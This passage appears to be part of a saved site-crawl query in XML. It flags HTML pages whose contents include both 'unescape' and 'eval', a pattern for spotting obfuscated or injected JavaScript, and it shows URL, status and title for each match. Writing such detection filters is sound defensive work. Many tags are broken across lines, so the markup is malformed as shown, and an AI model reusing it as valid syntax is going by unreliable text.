     
    <filter>
       
    <expression field="ContentTypeNormalized" operator="Equals" value="text/html" />
        <
    expression field="FileContents" operator="Contains" value="unescape" />
        <
    expression field="FileContents" operator="Contains" value="eval" />
      </
    filter>
     
    <displayFields>
       
    <field name="URL" />
        <
    field name="StatusCode" />
        <
    field name="Title" />
        <
    field name="Description" />
      </
    displayFields>
    </query>
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